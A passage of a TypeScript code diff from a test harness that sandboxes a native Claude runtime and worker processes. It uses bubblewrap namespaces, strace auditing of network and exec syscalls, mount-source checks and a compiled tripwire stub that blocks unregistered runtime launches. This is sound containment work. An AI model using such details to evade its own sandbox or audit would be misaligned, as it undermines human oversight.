"pipe", stderr: "pipe", timeout: 5000 }); } - catch { refuse("native socket lifetime policy unavailable"); } - if (socketProof.exitCode !== 0) refuse("native socket lifetime policy unavailable"); + catch(error) { refuse("native socket lifetime policy unavailable",undefined,undefined,nativeQualificationEvidence("socket-policy",undefined,error)); } + if (socketProof.exitCode !== 0) refuse("native socket lifetime policy unavailable",undefined,undefined,nativeQualificationEvidence("socket-policy",socketProof)); qualified = true; } @@ -337,7 +348,7 @@ export function fixtureToolView(env: Record, cwd: st if (!within(tmpdir(), path) || path === tmpdir()) continue; roots.add(path); const parent = dirname(path), info = statSync(parent); - if (parent !== tmpdir() && within(tmpdir(), parent) && info.uid === process.getuid?.() && (info.mode & 0o077) === 0) roots.add(parent); + if (parent !== tmpdir() && within(tmpdir(), parent) && info.uid === nativeKernelIdentity().uid && (info.mode & 0o077) === 0) roots.add(parent); } catch { /* A worker's fresh runtime home may not exist on the host. */ } } const directories = new Set(); @@ -350,7 +361,7 @@ export function fixtureToolView(env: Record, cwd: st // unrelated storage outside HOME. Existing HOME/cwd mounts stay writable. if (!storage.has(path) && [...storage].some(root => within(path, root))) continue; const source = [join(ROOT, "packages"), join(ROOT, "tests/fixtures"), join(ROOT, "scripts/fixtures")].some(root => within(root, path)); - const temporary = [...roots].some(root => within(root, path)) && info.uid === process.getuid?.(); + const temporary = [...roots].some(root => within(root, path)) && info.uid === nativeKernelIdentity().uid; if (source || temporary) directories.add(path); } catch { /* Missing PATH entries do not grant filesystem authority. */ } } @@ -469,12 +480,12 @@ export function scrubNativeStartupTrace(trace: string, fixtureRoots: readonly st } catch { return "[diagnostic redaction unavailable]"; } } -export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void, workerUid?: number) { +export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void, workerUid?: number, restrictedProbe = false) { const diagnosticFixtureRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; const diagnosticRoot = workerUid === undefined ? undefined : process.argv.find(value => value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); if (diagnosticRoot) { const info = lstatSync(diagnosticRoot); - if (!info.isDirectory() || info.uid !== process.getuid?.() || (info.mode & 0o077)) refuse("native startup audit storage is not private"); + if (!info.isDirectory() || info.uid !== nativeKernelIdentity().uid || (info.mode & 0o077)) refuse("native startup audit storage is not private"); } const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); const log = join(directory, "connect.log"); @@ -483,7 +494,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if (workerUid !== undefined && !auditAcl("set", workerUid, directory, log)) { cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); } - const owner = process.getuid?.(), directoryStamp = lstatSync(directory, { bigint: true }), logStamp = lstatSync(log, { bigint: true }); + const owner = nativeKernelIdentity().uid, directoryStamp = lstatSync(directory, { bigint: true }), logStamp = lstatSync(log, { bigint: true }); const storageIntact = () => { try { const folder = lstatSync(directory, { bigint: true }), file = lstatSync(log, { bigint: true }); @@ -509,12 +520,14 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c // connect/exec records participate in the security receipt. const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>)/.test(line)).join("\n") : trace; const execEvidence=nativeExecTrace(trace); - const nativeLaunched = execEvidence.events.some(event=>expected.includes(event.path)); + const payloadExecuted = execEvidence.events.some(event=>expected.includes(event.path)); + const nativeLaunched = !restrictedProbe && payloadExecuted; const execCounters={...execEvidence.counters,expected:execEvidence.events.filter(event=>expected.includes(event.path)).length}; nativeReceipt({kind:"native-offline-exec-evidence",head:nativeTestHead(),...execCounters}); - if (!nativeLaunched) denied++; - receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: nativeLaunched, - ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; + if (!payloadExecuted) denied++; + receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: payloadExecuted, + ...(restrictedProbe?{mode:"restricted-probe",payloadExecuted}:{}), + ...(!payloadExecuted ? { reason: restrictedProbe?"restricted probe exec was not observed":"native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; if (diagnosticRoot) { for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); @@ -533,6 +546,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish, nativeExecuted(){ + if(restrictedProbe)return false; if(receipt)return receipt.nativeLaunched; if(!storageIntact())return false; try{const trace=readFileSync(log);return storageIntact()&&nativeExecObserved(trace.toString("utf8"),expected);}catch{return false;} @@ -560,7 +574,7 @@ export function nativeDistributionConfigFiles(directory:string):string[]{ }); } function nativeSystemConfigMounts(directory:string,workerUid?:number):string[]{ - const uid=process.getuid?.()??0,gid=process.getgid?.()??0,accounts=new Map([[0,"root"]]); + const uid=nativeKernelIdentity().uid,gid=nativeKernelIdentity().gid,accounts=new Map([[0,"root"]]); if(uid!==0)accounts.set(uid,"odysseus"); if(workerUid!==undefined&&!accounts.has(workerUid))accounts.set(workerUid,"odysseus-worker"); writeFileSync(join(directory,"passwd"),[...accounts].map(([id,name])=>`${name}:x:${id}:${id===0?0:gid}:Odysseus:/tmp/native-account:/bin/sh\n`).join("")); @@ -651,7 +665,7 @@ export function nativeDirectTransportCommand(command:readonly string[]):string[] } /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ -export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record }): Boundary { +export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; receiptMode?:"restricted-probe" }): Boundary { qualify(); const env = options.env ?? process.env; const route = scriptedRoute.getStore(); @@ -675,6 +689,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); const executable = realpathSync(command); + if(options.receiptMode==="restricted-probe"&&isNativeClaude(command,args,options))refuse("native runtime cannot use restricted probe receipt mode"); const mounts = [...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--bind", home, home, @@ -708,10 +723,10 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); const payload=nativeSocketCommand(direct?nativeDirectTransportCommand([command,...args]):[command,...args],inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); argv.push("--chdir",cwd,"--",...(turnProxy?[process.execPath,"--config=/dev/null","--no-env-file",join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),...(direct?["--direct-loopback"]:[]),...payload]:payload)); - const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); + const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); beforeLaunch(); guardedPlans.add(audited.argv); - return { ...audited, env: {}, beforeLaunch }; + const boundary={ ...audited, env: {}, beforeLaunch };guardedBoundaries.set(audited.argv,boundary);return boundary; } catch (error) { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -752,6 +767,35 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; } +/** App fixtures own their boot probe authority; it never substitutes a real provider. */ +export function nativeFixtureAppAuthority(roots:readonly string[]):()=>void { + const prior=scriptedRoute.getStore(); + const server=prior?undefined:Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); + const leave=nativeScriptedService(prior?.origin??server!.url.origin,{fixtureRoots:[...new Set([...(prior?.fixtureRoots??[]),...roots])],fixtureCredentials:Object.fromEntries(prior?.fixtureCredentials??[]),turnProxy:prior?.turnProxy}); + return ()=>{leave();server?.stop(true);}; +} + +interface NativePrivateIndexRole {root:string;brain:string;scope:ScriptedAuthority;dev:bigint;ino:bigint;active:boolean} +const nativePrivateIndexes=new Set(); +/** Called only on the real allocator result, for the acquired turn's lifetime. */ +export function nativeFixturePrivateIndex(root:string,brain:string,required=true):()=>void { + const scope=scriptedRoute.getStore(); + // Non-native policy fixtures have no scripted authority to register against. + // Observing their allocator must not manufacture one. + if(!scope&&!required)return ()=>{}; + const info=lstatSync(root,{bigint:true}); + if(!scope||!scope.fixtureRoots.includes(brain)||realpathSync(brain)!==brain||realpathSync(root)!==root||resolve(root)!==root||dirname(root)!==realpathSync(tmpdir())||!/^brain-private-index-[A-Za-z0-9]+$/.test(basename(root))||!info.isDirectory()||info.uid!==BigInt(nativeKernelIdentity().uid))throw Error("private index fixture declaration unavailable"); + const role:NativePrivateIndexRole={root,brain,scope,dev:info.dev,ino:info.ino,active:true};nativePrivateIndexes.add(role); + return ()=>{role.active=false;nativePrivateIndexes.delete(role);}; +} +function privateIndexBind(flag:string,source:string,target:string,scope:ScriptedAuthority):NativePrivateIndexRole|undefined { + const role=[...nativePrivateIndexes].find(role=>role.root===source&&role.scope===scope); + if(!role)return; + const info=lstatSync(source,{bigint:true}); + if(!role.active||flag!=="--ro-bind"||target!==join(role.brain,".brain-index")||realpathSync(source)!==source||!info.isDirectory()||info.uid!==BigInt(nativeKernelIdentity().uid)||info.dev!==role.dev||info.ino!==role.ino)refuse("private index fixture declaration unavailable",{sourceKind:"product-private-index",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}); + return role; +} + /** Snapshot only individually declared files; siblings and directories never enter. */ export function nativeFixtureFileMounts(directory:string):string[] { const mounts:string[]=[];let index=0; @@ -908,11 +952,12 @@ function admittedRelay(argv: string[], socket: string): { origin: string; path: function mountInputEvidence(input: string, destination: string, index: number, error: unknown, fixtureRoots: readonly string[] = [],role?:"product-checkpoint"|"product-keeper"|"product-scratch"): Record { const fixture=fixtureRoots.find(root=>within(root,resolve(input))); + const privateIndex=dirname(resolve(input))===realpathSync(tmpdir())&&/^brain-private-index-[A-Za-z0-9]+$/.test(basename(input))&&basename(destination)===".brain-index"; const known=SYSTEM.includes(input)||SYSTEM_FILES.includes(input); const targetFixture=fixtureRoots.find(root=>within(root,resolve(destination))); const workspaceTarget=within(ROOT,resolve(destination)); return { mount:index, - ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:role??(known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"fixture-declared":"unregistered-source"), + ...(targetFixture?{targetFixtureRoot:fixtureRoots.indexOf(targetFixture),targetRelativePath:resolve(destination).slice(targetFixture.length).replace(/^\//,"")||"."}:workspaceTarget?{targetWorkspacePath:resolve(destination).slice(ROOT.length).replace(/^\//,"")}:{}), sourceKind:role??(privateIndex?"product-private-index":known?"fixed-system":input.startsWith("/proc/")?"descriptor":fixture?"fixture-declared":"unregistered-source"), ...(known?{systemRoot:input}:fixture?{fixtureRoot:fixtureRoots.indexOf(fixture),relativePath:resolve(input).slice(fixture.length).replace(/^\//,"")}:{}), targetKind:destination.startsWith("/etc/")?"isolated-config":destination.startsWith("/tmp/")?"fixture-temporary":"runtime-or-fixture", metadataError:(error as NodeJS.ErrnoException)?.code??"UNKNOWN" }; @@ -1209,7 +1254,7 @@ export async function registerNativeFixtureManagedKeeper(storage:import("../pack if(!validate())return false; const now=fstatSync(ticket.fd);if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||!readFileSync(`/proc/self/fd/${ticket.fd}`).equals(ticketBytes))return false; const value=JSON.parse(ticketBytes.toString("utf8")),merged=statSync(join(storage.root,"merged"),{bigint:true}),checkpoint=statSync(view.root,{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true}); - return value.kind==="brain-worker-stage"&&value.id===id&&value.appUid===process.getuid?.()&&value.keeper.pid===storage.namespacePid&&value.keeper.start===storage.namespaceStart&&value.keeper.mountNamespaceInode===String(ns.ino)&&value.root.path===join(storage.mount,"merged")&&value.root.dev===String(merged.dev)&&value.root.ino===String(merged.ino)&&value.checkpoint.path===view.root&&value.checkpoint.dev===String(checkpoint.dev)&&value.checkpoint.ino===String(checkpoint.ino)&&value.checkpoint.uuid===native.checkpoint.uuid&&value.allowanceBytes===storage.allowanceBytes; + return value.kind==="brain-worker-stage"&&value.id===id&&value.appUid===nativeKernelIdentity().uid&&value.keeper.pid===storage.namespacePid&&value.keeper.start===storage.namespaceStart&&value.keeper.mountNamespaceInode===String(ns.ino)&&value.root.path===join(storage.mount,"merged")&&value.root.dev===String(merged.dev)&&value.root.ino===String(merged.ino)&&value.checkpoint.path===view.root&&value.checkpoint.dev===String(checkpoint.dev)&&value.checkpoint.ino===String(checkpoint.ino)&&value.checkpoint.uuid===native.checkpoint.uuid&&value.allowanceBytes===storage.allowanceBytes; }catch{return false;}}; try{ stamp=fstatSync(ticket.fd);if(!stamp.isFile()||stamp.uid!==0||stamp.nlink!==0||stamp.size>65536||(stamp.mode&0o777)!==0o444)throw Error("Invalid sealed stage authority"); @@ -1239,7 +1284,7 @@ function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, man const info = fstatSync(fd, {bigint:true}); const namespaceRoot = `/proc/${storage.namespacePid}/root${mount}`; const mounted = statSync(namespaceRoot, {bigint:true}); - if (mounted.dev !== info.dev || mounted.ino !== info.ino || !info.isDirectory() || (!managed && info.uid !== BigInt(process.getuid?.() ?? -1))) { closeSync(fd); refuse("fixture keeper output is not private tmpfs"); } + if (mounted.dev !== info.dev || mounted.ino !== info.ino || !info.isDirectory() || (!managed && info.uid !== BigInt(nativeKernelIdentity().uid))) { closeSync(fd); refuse("fixture keeper output is not private tmpfs"); } const snapshot = managedSnapshot ?? nativeFixtureDirectory("odysseus-keeper-inspection-"); const anchor = `/proc/${process.pid}/fd/${fd}`; let disposed=false; @@ -1325,7 +1370,7 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA mkdirSync(staging, {recursive:true,mode:0o755});chmodSync(staging,0o755); const copy=join(staging,String(staged++));writeFileSync(copy,explicit.bytes,{mode:explicit.mode});chmodSync(copy,explicit.mode); argv[i]="--ro-bind";argv[i+1]=copy; - } else if (!checkpointBind(argv[i]!,argv[i+1]!,argv[i+2]!,checkpoint)&&!workerSourceAllowed(source, route, guardRoot)) { + } else if (!checkpointBind(argv[i]!,argv[i+1]!,argv[i+2]!,checkpoint)&&!privateIndexBind(argv[i]!,source,argv[i+2]!,route)&&!workerSourceAllowed(source, route, guardRoot)) { const info=lstatSync(source); // Replace a socket-only relay directory with exact socket binds. A later // file in the original directory never enters the native view. @@ -1351,7 +1396,8 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth if(!["--bind","--ro-bind","--dev-bind","--bind-try","--ro-bind-try","--dev-bind-try"].includes(mounts[i]!))continue; let source:string;try{source=inspectedWorkerSource(mounts[i+1]!,keeper);}catch{refuse("worker bind source is unavailable");} const checkpointRoot=checkpointBind(mounts[i]!,mounts[i+1]!,mounts[i+2]!,checkpoint)?checkpoint!.root:undefined; - if(!checkpointRoot&&!workerSourceAllowed(source,route,guardRoot)) { + const privateIndexRoot=privateIndexBind(mounts[i]!,source,mounts[i+2]!,route)?.root; + if(!checkpointRoot&&!privateIndexRoot&&!workerSourceAllowed(source,route,guardRoot)) { const info=lstatSync(source); if(!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice()))refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,mounts[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); } @@ -1360,7 +1406,7 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth const visit=(path:string):void=>{ inspected=path; const real=realpathSync(path),info=lstatSync(real); - if(info.isFile() && !(checkpointRoot&&within(checkpointRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); + if(info.isFile() && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(real))visit(join(real,name)); }; @@ -1504,8 +1550,118 @@ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:Sp return false; } + +export type NativeWorkerClassification="native"|"unknown"|"non-native"; +/** Native evidence wins; unknown shell syntax selects the tripwire, never authority. */ +export function nativeWorkerClassification(argv:readonly string[],context:SpawnContext={}):NativeWorkerClassification { + if(isNativeClaude(argv[0]??"",argv.slice(1),context))return "native"; + for(let i=0;i(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return "native"; + } + // Bun entrypoints receive the test preload at the spawn interceptor. Shell + // syntax in their positional data is classified when they actually spawn it, + // rather than placing the preloaded caller in an extra mount namespace. + try{if((argv[0]===process.execPath||basename(argv[0]??"")==="bun")&&resolveExecutable(argv[0]!,context)===realpathSync(process.execPath))return "non-native";}catch{/* Unresolved entrypoints remain unknown. */} + return nativeWorkerArgvNeedsIsolation(argv,context)?"unknown":"non-native"; +} +export function nativeTripwireMaskPaths(context:SpawnContext={}):string[]{ + const paths=new Set(); + for(const entry of installedRuntimes)for(const path of [entry.path,...entry.aliases??[]]){paths.add(path);paths.add(realpathSync(path));} + const selected=context.env?.CLAUDE_CODE_PATH??process.env.CLAUDE_CODE_PATH; + if(selected&&isNativeClaude(selected,[],context)){paths.add(resolve(context.cwd??process.cwd(),selected));paths.add(resolveExecutable(selected,context));} + return [...paths].sort(); +} +/** Exact test-manager supervisor: no code or lookup runs before its argv exec. */ +export const NATIVE_FIXTURE_FORK_EXEC = 'import os,sys\nif os.fork(): os._exit(0)\nos.execvp(sys.argv[1],sys.argv[1:])'; +function unknownBwrapPosition(command:readonly string[],bwrap:string,context:SpawnContext):number { + let start=0; + const same=(value:string|undefined,expected:string)=>{try{return !!value&&resolveExecutable(value,context)===realpathSync(expected);}catch{return false;}}; + if(same(command[0],"/usr/bin/python3")&&command[1]==="-I"&&command[2]==="-S"&&command[3]==="-c"&&command[4]===NATIVE_FIXTURE_FORK_EXEC)start=5; + const index=nativeBwrapIndex(command.slice(start)); + if(index>=0&&same(command[start+index],bwrap))return start+index; + // The status script never reads $0. Its fixture marker is data, while the + // byte-exact product script, own FIFO descriptors and actual bwrap are proof. + const status=nativeProductShellWrappers.find(row=>row.kind==="status")!; + if(start===0&&same(command[0],"/bin/sh")&&command[1]==="-c"&&command[2]===status.script&&command.slice(4,6).length===2&&command.slice(4,6).every(path=>{try{return new RegExp(`^/proc/${process.pid}/fd/[0-9]+$`).test(path)&&statSync(path).isFIFO();}catch{return false;}})&&same(command[6],bwrap))return 6; + // A concrete sandbox behind an unproven exec prefix cannot be moved ahead + // of the tripwire. In particular, never put masks after arbitrary shell code. + if(command.some(value=>same(value,bwrap)))refuse("restriction cannot be enforced"); + return -1; +} +function unknownBwrapPayload(command:readonly string[],at:number):number { + const zero=new Set(["--unshare-all","--unshare-user","--unshare-user-try","--unshare-ipc","--unshare-pid","--unshare-net","--unshare-uts","--unshare-cgroup","--unshare-cgroup-try","--disable-userns","--assert-userns-disabled","--clearenv","--new-session","--die-with-parent","--as-pid-1"]); + const one=new Set(["--uid","--gid","--hostname","--chdir","--unsetenv","--lock-file","--sync-fd","--remount-ro","--proc","--dev","--tmpfs","--mqueue","--dir","--seccomp","--add-seccomp-fd","--block-fd","--userns-block-fd","--info-fd","--json-status-fd","--cap-add","--cap-drop","--perms","--size"]); + const two=new Set(["--setenv","--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink","--chmod"]); + let i=at+1; + for(;i=command.length)refuse("restriction cannot be enforced");i+=1+count; + } + return refuse("restriction cannot be enforced"); +} +const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; +/** Unknown code receives neither native receipt descriptors nor provider authority. */ +export function nativeUnknownBoundary(command:readonly string[],options:SpawnContext={},workerUid?:number) { + const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-tripwire-")),stub=join(directory,"tripwire"),event=join(directory,"event"),log=join(directory,"exec.log"); + writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); + let complete=false,failed=false,auditUnavailable=false,timer:ReturnType|undefined; + const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; + const cleanup=()=>{clearInterval(timer);rmSync(directory,{recursive:true,force:true});}; + try{ + const record=JSON.stringify(TRIPWIRE_RECORD),path=JSON.stringify(event); + const source=`#include \n#include \nint main(void){const char record[]=${record};int fd=open(${path},O_WRONLY|O_APPEND|O_NOFOLLOW);if(fd>=0){(void)write(fd,record,sizeof(record)-1);(void)close(fd);}const char message[]="Offline native runtime refused by tripwire\\n";(void)write(2,message,sizeof(message)-1);return 126;}\n`; + const cc=metadataSpawnSync(["cc","-static","-Os","-std=c11","-D_GNU_SOURCE","-x","c","-","-o",stub],{stdin:Buffer.from(source),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin",LANG:"C"},timeout:30000}); + if(cc.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(cc.stderr))); + chmodSync(stub,0o555); + const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap"),strace=metadataWhich("strace"); + if(!bwrap||!strace||!masks.length)refuse("restriction cannot be enforced"); + if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)))refuse("restriction cannot be enforced"); + const mounts=["--ro-bind",directory,directory,"--bind",event,event,"--bind",log,log,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; + const probe=metadataSpawnSync([bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); + if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); + const tracePrefix=[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=execve","-o",log,"--"]; + let argv=[...command];const at=unknownBwrapPosition(argv,bwrap,options); + if(at>=0){ + const separator=unknownBwrapPayload(argv,at);if(separator!==argv.indexOf("--",at))refuse("restriction cannot be enforced"); + const originalRemounts=deferNativeReadOnlyRemounts(argv,at),end=argv.indexOf("--",at); + argv.splice(end,0,...mounts,"--cap-drop","ALL",...originalRemounts); + // Keep diagnostic tooling outside the product view. A private /tmp may + // hide a locally installed tracer, while the actual payload still sees masks. + argv=[...tracePrefix,...argv]; + }else argv=[...tracePrefix,bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--",...argv]; + const diagnosticUnavailable=()=>{if(auditUnavailable)return;auditUnavailable=true;nativeReceipt({kind:"native-offline-unknown-exec-audit",head:nativeTestHead(),status:"unavailable",diagnostic:true});}; + const inspect=(final=false)=>{ + let integrityStage:"stub-identity"|"tripwire-record"="stub-identity"; + try{ + const now=lstatSync(stub,{bigint:true});if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||now.mtimeNs!==stamp.mtimeNs)throw Object.assign(Error("tripwire changed"),{code:"IDENTITY_CHANGED"}); + integrityStage="tripwire-record";const text=readFileSync(event,"utf8");if(text){if(!text.split("\n").filter(Boolean).every(line=>line===TRIPWIRE_RECORD.trim()))throw Object.assign(Error("tripwire record changed"),{code:"INVALID_RECORD"});report("installed native runtime blocked by tripwire");} + }catch(error){report("restriction cannot be enforced",integrityStage,(error as NodeJS.ErrnoException).code);return;} + // Unknown-launch exec observation is diagnostic-only. A cancelled exec + // can leave a split syscall unfinished; it cannot undo the installed mask. + try{ + const bytes=readFileSync(log);if(bytes.length>8*1024*1024)throw Error("exec audit exceeded bound"); + const evidence=nativeExecTrace(bytes.toString("utf8")); + for(const exec of evidence.events){ + const file=resolve(options.cwd??process.cwd(),exec.path); + if(masks.includes(file)){report("installed native runtime blocked by tripwire");continue;} + if(isNativeClaude(exec.path,[],options))report("unregistered native runtime observed after unknown launch"); + } + if(final&&(evidence.counters.splitIncomplete||evidence.counters.splitAmbiguous))diagnosticUnavailable(); + }catch{diagnosticUnavailable();} + }; + timer=setInterval(()=>inspect(),20);timer.unref(); + // A daemonized tracer preserves the original parent exit and detached-child + // lifetime. Keep observing until this owner exits, even after the launch leader. + process.once("exit",()=>{inspect(true);cleanup();}); + const encoded=JSON.stringify(argv); + const launchEnv={...options.env??process.env};delete launchEnv.BRAIN_NATIVE_RECEIPT; + const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){if(complete)return;complete=true;inspect(true);}}; + guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; + }catch(error){cleanup();throw error;} +} /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void; nativeExecuted?():boolean } { +export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; @@ -1529,8 +1685,15 @@ export function nativeWorkerBoundary(env: Record): { workerArgv = supervisor.argv; } const command = launch.command!; - const actualNative = nativeWorkerArgvNeedsIsolation(command,context)||nativeWorkerArgvNeedsIsolation(argv,context)||(workerArgv!==argv&&nativeWorkerArgvNeedsIsolation(workerArgv,context)); - if(!actualNative)return unchanged; + const classes=[nativeWorkerClassification(command,context),nativeWorkerClassification(workerArgv,context)]; + if(!classes.includes("native")){ + if(!classes.includes("unknown"))return unchanged; + const identity=supervisor&&launch.brainPath?(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts")).verifiedWorkerIdentity(launch.brainPath):undefined; + const restricted=nativeUnknownBoundary(workerArgv,context,identity?.workerUid); + if(supervisor){supervisor.argv=restricted.argv;argv[5]=JSON.stringify(supervisor);launch.argv=argv;}else launch.argv=restricted.argv; + if(launch.env)delete launch.env.BRAIN_NATIVE_RECEIPT; + return {...restricted,native:false,env:{...env,BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}}; + } try { argv[0] = resolveExecutable(argv[0]!, context); workerArgv[0] = resolveExecutable(workerArgv[0]!, context); } catch { refuse("worker executable could not be resolved"); } const tail = workerArgv.slice(-command.length); @@ -1608,7 +1771,7 @@ export function nativeWorkerBoundary(env: Record): { // the audit storage and drops namespace capabilities from descendants. const { verifiedWorkerIdentity } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"); const identity = launch.brainPath && verifiedWorkerIdentity(launch.brainPath); - if 